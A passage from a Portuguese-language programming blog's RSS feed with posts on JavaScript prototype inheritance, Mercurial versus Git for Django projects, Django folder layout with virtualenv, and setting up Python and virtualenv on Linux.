&lt;p&gt;Para entender como criar heranças com o &lt;em&gt;prototype&lt;/em&gt; do &lt;em&gt;Javascript&lt;/em&gt;,
vamos primeiramente criar um tipo chamado &lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Framework&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;nomeFramework&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; versao&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;versao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; versao&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nomeFramework &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nomeFramework&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No caso acima, iremos sobrescrever o comportamento do &lt;em&gt;constructor&lt;/em&gt; da
classe &lt;code class=&quot;language-text&quot;&gt;Linguagem&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;E é aqui que a mágica acontece… instanciamos o tipo &lt;code class=&quot;language-text&quot;&gt;Linguagem&lt;/code&gt; no
&lt;code class=&quot;language-text&quot;&gt;prototype&lt;/code&gt; da classe &lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt;. Isto fará com que o tipo
&lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt; possua todas as propriedades de &lt;code class=&quot;language-text&quot;&gt;Linguagem&lt;/code&gt;. Depois corrigimos
o &lt;code class=&quot;language-text&quot;&gt;constructor&lt;/code&gt;, apontando ele novamente para &lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Cria herança com Linguagem&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Framework&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Linguagem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Corrige o ponteiro do constructor para Framework (está apontando para Linguagem)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Framework&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;constructor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Framework&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos adicionar um método exclusivo da classe &lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;Framework&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;feitoEm&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nomeFramework &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; é feito em &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Instanciamos algumas vezes a classe &lt;code class=&quot;language-text&quot;&gt;Framework&lt;/code&gt;, e teremos o
comportamento esperado de uma herança:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; django &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Framework&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Django&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Python&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2.7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;django&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Framework&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;descricaoCompleta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Python vr.2.7&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;feitoEm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Django é feito em Python&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; jquery &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Framework&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;jQuery&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Javascript&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1.5&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jquery&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Framework&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jquery&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;descricaoCompleta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// jQuery vr.1.5&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jquery&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;feitoEm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// jQuery é feito em Javascript&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Existem algumas bibliotecas (como a &lt;a href=&quot;http://mootools.net/&quot; title=&quot;MooTools, a compact javascript framework&quot;&gt;&lt;em&gt;Mootools&lt;/em&gt;&lt;/a&gt;) que facilitam a
criação de classes e heranças em &lt;em&gt;Javascript&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O exemplo completo está disponível para &lt;em&gt;download&lt;/em&gt; em:
&lt;a href=&quot;http://github.com/kplaube/post-javascript-oop&quot; title=&quot;Código do exemplo no GitHub&quot;&gt;http://github.com/kplaube/post-javascript-oop&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Como versionar projetos Django com o Mercurial - Parte 1]]></title><description><![CDATA[Se você está começando em Django, e nunca utilizou uma ferramenta
de controle de versão (as vezes por trauma do SVN ou por simples…]]></description><link>https://klauslaube.com.br/2011/05/10/como-versionar-projetos-django-mercurial-parte.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/05/10/como-versionar-projetos-django-mercurial-parte.html</guid><pubDate>Tue, 10 May 2011 21:34:00 GMT</pubDate><content:encoded>&lt;p&gt;Se você está começando em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, e nunca utilizou uma ferramenta
de controle de versão (as vezes por trauma do &lt;a href=&quot;http://akitaonrails.com/2007/09/22/jogar-pedra-em-gato-morto-por-que-subversion-no-presta&quot; title=&quot;Jogar Pedra em Gato Morto: por que Subversion não presta&quot;&gt;&lt;em&gt;SVN&lt;/em&gt;&lt;/a&gt; ou por &lt;a href=&quot;http://pt.wikipedia.org/wiki/Sistema_de_controle_de_vers%C3%A3o&quot; title=&quot;Wikipedia, Sistema de Controle de Versão&quot;&gt;simples
desinteresse&lt;/a&gt;) esta será uma grande oportunidade para você conhecer o
&lt;a href=&quot;http://www.profissionaisti.com.br/2009/06/bitbucket-hospede-e-versione-softwares-com-mercurial/&quot; title=&quot;Bitbucket: Hospede e versione softwares com Mercurial&quot;&gt;&lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;, e saber a forma que venho utilizando para versionar
meus projetos Django.&lt;/p&gt;
&lt;h2&gt;Peraí! Por que não Git?&lt;/h2&gt;
&lt;p&gt;Sem dúvida o &lt;a href=&quot;http://git-scm.com/&quot; title=&quot;Git é a estrela do momento tratando-se de DVCS&quot;&gt;&lt;em&gt;Git&lt;/em&gt;&lt;/a&gt; é a ferramenta do momento em
se tratando de controle de versões, e vem sendo muito utilizada por
rubistas e pythonistas (eu incluso nessa última galera).&lt;/p&gt;
&lt;p&gt;Por que não falar de &lt;em&gt;Git&lt;/em&gt; aqui? Simples! &lt;strong&gt;Você vai ouvir falar sobre
&lt;em&gt;Git&lt;/em&gt; em todo o lugar&lt;/strong&gt;. O &lt;em&gt;Google&lt;/em&gt; vai te trazer toneladas de
informações sobre &lt;em&gt;Git&lt;/em&gt;. Você vai “ouvir” o pessoal falando que &lt;a href=&quot;http://pt.whygitisbetterthanx.com/&quot; title=&quot;Por que Git é Melhor que X&quot;&gt;&lt;em&gt;Git&lt;/em&gt; é melhor do que qualquer outra ferramenta&lt;/a&gt;.
Você vai até enjoar de tanto ouvir falar sobre &lt;em&gt;Git&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Mercurial&lt;/em&gt; foi o primeiro &lt;a href=&quot;http://en.wikipedia.org/wiki/Distributed_revision_control&quot; title=&quot;DVCS - Distributed Version Control System&quot;&gt;&lt;em&gt;DVCS&lt;/em&gt;&lt;/a&gt; que utilizei (de verdade). &lt;strong&gt;Na
minha opinião&lt;/strong&gt;, ele é mais simples que o &lt;em&gt;Git&lt;/em&gt;, é feito em
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, e me atende no desenvolvimento dos meus projetos pessoais.&lt;/p&gt;
&lt;p&gt;Concordo com o pessoal que diz que o &lt;em&gt;Git&lt;/em&gt; é bom, e concordo com o
pessoal que fala que o &lt;em&gt;Mercurial&lt;/em&gt; é bom. É perfeitamente possível
utilizar estas duas ferramentas, não precisamos ser radicais e iniciar
um &lt;em&gt;flame&lt;/em&gt; em cima deste assunto. A opção é melhor que não ter opção…&lt;/p&gt;
&lt;h2&gt;GitHub x Bitbucket&lt;/h2&gt;
&lt;p&gt;Agora uma coisa eu não posso deixar de concordar: O &lt;a href=&quot;https://github.com/&quot; title=&quot;GitHub, Social coding&quot;&gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt; é (na minha opinião) melhor que o
&lt;a href=&quot;https://bitbucket.org/&quot; title=&quot;Alternativa com Mercurial ao GitHub&quot;&gt;&lt;em&gt;Bitbucket&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ambos são repositórios de código na nuvem, o primeiro usando &lt;em&gt;Git&lt;/em&gt; e o
segundo usando &lt;em&gt;Mercurial&lt;/em&gt;. O detalhe é que o &lt;em&gt;GitHub&lt;/em&gt; tem algumas
funções mais apuradas que o &lt;em&gt;Bitbucket&lt;/em&gt;, principalmente as
funcionalidades que tornam a ferramenta muito mais “social”.&lt;/p&gt;
&lt;p&gt;Embora o &lt;em&gt;Bitbucket&lt;/em&gt; recentemente tenha sido adquirido pela
&lt;strong&gt;&lt;em&gt;Atlassian&lt;/em&gt;&lt;/strong&gt; e tenha recebido uma forte injencão de melhorias… o
&lt;em&gt;GitHub&lt;/em&gt; ainda é, para mim, a melhor forma de compartilhar código que
existe no momento.&lt;/p&gt;
&lt;p&gt;Venho utilizando o &lt;em&gt;Bitbucket&lt;/em&gt; pela opção de poder manter &lt;strong&gt;repositórios
de código “fechados”&lt;/strong&gt;. Coisa que com o “rival” só é possível através de
uma conta paga.&lt;/p&gt;
&lt;p&gt;Mais uma vez… é perfeitamente possível viver utilizando as duas
ferramentas.&lt;/p&gt;
&lt;p&gt;Na próxima parte deste &lt;em&gt;post&lt;/em&gt; vamos abordar o básico do &lt;em&gt;Mercurial&lt;/em&gt;, e
também pretendo mostrar como organizo os meus projetos &lt;em&gt;Django&lt;/em&gt;
“versionando-os” com o &lt;em&gt;Mercurial&lt;/em&gt; e &lt;em&gt;Bitbucket&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Como organizar seus projetos Django]]></title><description><![CDATA[Pretendo compartilhar com vocês a forma que venho utilizando para
organizar meus projetos Django com o uso do virtualenv.
Não entrarei em…]]></description><link>https://klauslaube.com.br/2011/04/11/como-organizar-seus-projetos-django.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/04/11/como-organizar-seus-projetos-django.html</guid><pubDate>Mon, 11 Apr 2011 18:11:00 GMT</pubDate><content:encoded>&lt;p&gt;Pretendo compartilhar com vocês a forma que venho utilizando para
organizar meus projetos &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; com o uso do &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre virtualenv&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;.
Não entrarei em muitos detalhes, até porque você verá que é um
procedimento muito simples, mas que poderá garantir melhor organização
dos seus projetos e dos seus ambientes de desenvolvimento.&lt;/p&gt;
&lt;p&gt;É interessante que você leia o post &lt;a href=&quot;/2011/03/18/python-django-virtualenv.html&quot; title=&quot;Leia mais sobre a tríade Python, Django e virtualenv&quot;&gt;&lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Django&lt;/em&gt; e
&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt; antes de continuar.&lt;/p&gt;
&lt;h2&gt;Simplesmente um projeto Django&lt;/h2&gt;
&lt;p&gt;Antes de conhecer (e utilizar) o &lt;em&gt;virtualenv&lt;/em&gt;, utilizei algo parecido
com o modelo “tradicional” de organização de pastas e códigos em um
projeto &lt;em&gt;Django&lt;/em&gt;. Ou seja, parecido com aquela estrutura padrão
gerada pelo comando &lt;code class=&quot;language-text&quot;&gt;django-admin.py startproject&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;O modelo é bom, e funcionou para mim durante muito tempo. Mas de uns
tempos para cá venho utilizando o esquema abaixo (confira um exemplo
real):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;mysite/
    apps/
        __init__.py
        eggs/
            fixtures/
                eggs_testdata.json
            tests/
                __init__.py
                models.py
                views.py
            __init__.py
            models.py
            urls.py
            views.py
        core/
            __init__.py
            extras.py
    __init__.py
    manage.py
    settings.py
    urls.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A diferença principal está na utilização da pasta &lt;code class=&quot;language-text&quot;&gt;apps&lt;/code&gt; para
encapsular as aplicações do projeto, e a criação de uma pasta (ou
pacote, como preferir) &lt;code class=&quot;language-text&quot;&gt;core&lt;/code&gt;. Nesta última, gosto de armazenar
&lt;em&gt;snippets&lt;/em&gt; de código que serão aproveitados pelo projeto inteiro.&lt;/p&gt;
&lt;p&gt;Outro ponto que vale ser notado é a criação de uma pasta chamada
&lt;code class=&quot;language-text&quot;&gt;tests&lt;/code&gt; para cada &lt;em&gt;app&lt;/em&gt;. Embora haja casos em que um arquivo
&lt;code class=&quot;language-text&quot;&gt;tests.py&lt;/code&gt; seja o suficiente, podemos nos deparar com um arquivo
gigantesco testando vários aspectos de uma &lt;em&gt;app&lt;/em&gt; (o que pode dificultar
a legibilidade de código). Categorizar os testes por tipo, e em arquivos
separados, irá facilitar a adição de novos testes e funcionalidades.&lt;/p&gt;
&lt;p&gt;A abordagem dos testes também pode ser utilizada para o &lt;code class=&quot;language-text&quot;&gt;urls.py&lt;/code&gt;.
Quando o seu arquivo de roteamento ficar muito grande, crie uma pasta
&lt;code class=&quot;language-text&quot;&gt;urls&lt;/code&gt; e “quebre” suas rotas em arquivos diferentes. Categorize-os,
sinta-se “zen” e nunca mais tenha medo de criar &lt;em&gt;URLs&lt;/em&gt; novamente&lt;/p&gt;
&lt;p&gt;Comecei a utilizar esta estrutura após “xeretar” alguns projetos
&lt;em&gt;Django&lt;/em&gt; &lt;em&gt;open source&lt;/em&gt;. Posso dizer por experiência própria que é uma
prática interessante, e que tem me ajudado muito na organização de
código.&lt;/p&gt;
&lt;h2&gt;O projeto Django com o virtualenv&lt;/h2&gt;
&lt;p&gt;Tratando-se do ambiente de desenvolvimento (construído pelo
&lt;em&gt;virtualenv&lt;/em&gt;), já utilizei-o de duas formas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;O &lt;em&gt;environment&lt;/em&gt; em uma pasta separada do projeto:&lt;/strong&gt; Você pode
possuir uma pasta “environments” e lá ter diferentes ambientes para
diferentes projetos.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O projeto &lt;em&gt;Django&lt;/em&gt; ficar dentro da pasta de &lt;em&gt;environment&lt;/em&gt;:&lt;/strong&gt; Você
primeiramente constrói um ambiente com o &lt;em&gt;virtualenv&lt;/em&gt;, e depois cria
um projeto dentro dessa mesma pasta (como demonstrado &lt;a href=&quot;http://blog.triveos.com.br/2010/04/25/trabalhando-com-python-e-django/&quot; title=&quot;Trabalhando com Python e Django à moda Osvaldo&quot;&gt;neste &lt;em&gt;post&lt;/em&gt; do &lt;em&gt;Osvaldo Santana&lt;/em&gt;&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Particularmente eu prefiro a segunda opção (nunca precisei de 2
&lt;em&gt;environments&lt;/em&gt; idênticos). Além de manter todo o seu projeto agrupado,
fica mais fácil para criação de &lt;em&gt;scripts&lt;/em&gt; de automatização de &lt;em&gt;deploy&lt;/em&gt;,
por exemplo.&lt;/p&gt;
&lt;p&gt;No fim das contas, geralmente a estrutura de pastas dos projetos
&lt;em&gt;Django&lt;/em&gt; fica assim:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;MySiteProject/
    bin/
    include/
    lib/
    mysite/
        apps/
            __init__.py
            eggs/
                fixtures/
                    eggs_testdata.json
                tests/
                    __init__.py
                    models.py
                    views.py
                __init__.py
                models.py
                urls.py
                views.py
            core/
                __init__.py
                extras.py
        __init__.py
        manage.py
        settings.py
        urls.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E você? De que forma organiza os seus projetos em &lt;em&gt;Django&lt;/em&gt;? Conte-nos
através dos comentários abaixo!&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Python, Django e virtualenv]]></title><description><![CDATA[Dando continuidade a série “Montando seu ambiente de desenvolvimento
Django em Linux”, vamos dar uma pincelada na tríade Python,
Django e…]]></description><link>https://klauslaube.com.br/2011/03/18/python-django-virtualenv.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/03/18/python-django-virtualenv.html</guid><pubDate>Fri, 18 Mar 2011 19:24:00 GMT</pubDate><content:encoded>&lt;p&gt;Dando continuidade a série “&lt;a href=&quot;/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html&quot; title=&quot;Montando seu ambiente de desenvolvimento Django em Linux&quot;&gt;Montando seu ambiente de desenvolvimento
&lt;em&gt;Django&lt;/em&gt; em &lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;”, vamos dar uma pincelada na tríade &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Python&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/01/10-motivos-para-voce-aprender-a-programar-em-python/&quot; title=&quot;10 motivos para se usar Python&quot;&gt;Conheça alguns motivos que lhe convencerão a usar &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Python&lt;/em&gt; já vem instalado na maioria das distribuições &lt;a href=&quot;/tag/linux.html&quot; title=&quot;Leia mais sobre Linux&quot;&gt;&lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;. Na
verdade, até hoje nunca usei uma distro &lt;em&gt;Linux&lt;/em&gt; que não tivesse o
&lt;em&gt;Python&lt;/em&gt; previamente instalado. No &lt;em&gt;Slackware 13.1&lt;/em&gt;, o &lt;em&gt;Python&lt;/em&gt; está na
versão 2.6.4. No &lt;em&gt;Debian 6&lt;/em&gt;, o &lt;em&gt;Python&lt;/em&gt; está na versão 2.6.6.&lt;/p&gt;
&lt;p&gt;O portal &lt;em&gt;Python Brasil&lt;/em&gt; possui um excelente material para você
&lt;a href=&quot;http://www.python.org.br/wiki/InicieSe&quot; title=&quot;Inicie-se no Python&quot;&gt;instalar&lt;/a&gt; e dar os &lt;a href=&quot;http://www.python.org.br/wiki/AprendaMais&quot; title=&quot;Aprenda mais sobre Python&quot;&gt;primeiros passos&lt;/a&gt; com &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;virtualenv&lt;/h2&gt;
&lt;p&gt;A linguagem &lt;em&gt;Python&lt;/em&gt; não vem “de bobeira” nas distribuições &lt;em&gt;Linux&lt;/em&gt;, ela
faz parte delas, sendo utilizada para criação de uma série de &lt;em&gt;scripts&lt;/em&gt;
fundamentais. Passei por uma situação peculiar com o &lt;em&gt;Python&lt;/em&gt;: estava
usando o &lt;em&gt;OpenSuse&lt;/em&gt; (não recordo a versão) e decidi atualizar a versão
do &lt;em&gt;Python&lt;/em&gt; utilizando o sistema de pacotes da distro… confirmei algumas
operações de remoção (que não deveria ter autorizado) e acabei
danificando minha instalação do &lt;a href=&quot;/tag/sistemas-operacionais.html&quot; title=&quot;Leia mais sobre Sistemas Operacionais&quot;&gt;&lt;em&gt;SO&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Então, para aqueles que programam em computadores pessoais, e não querem
comprometer tanto o &lt;em&gt;SO&lt;/em&gt; quanto o &lt;em&gt;workspace&lt;/em&gt;, podem criar &lt;em&gt;ambientes
isolados&lt;/em&gt; para os projetos utilizando o &lt;a href=&quot;http://pypi.python.org/pypi/virtualenv&quot; title=&quot;Virtual Python Environment Builder&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No &lt;em&gt;Slackware&lt;/em&gt; vamos instalar o &lt;a href=&quot;http://pypi.python.org/pypi/setuptools&quot; title=&quot;Download, build, install, upgrade, and uninstall Python packages&quot;&gt;&lt;em&gt;setuptools&lt;/em&gt;&lt;/a&gt;, que é um &lt;em&gt;framework&lt;/em&gt;
que facilita a instalação e criação de pacotes &lt;em&gt;Python&lt;/em&gt;:&lt;/p&gt;
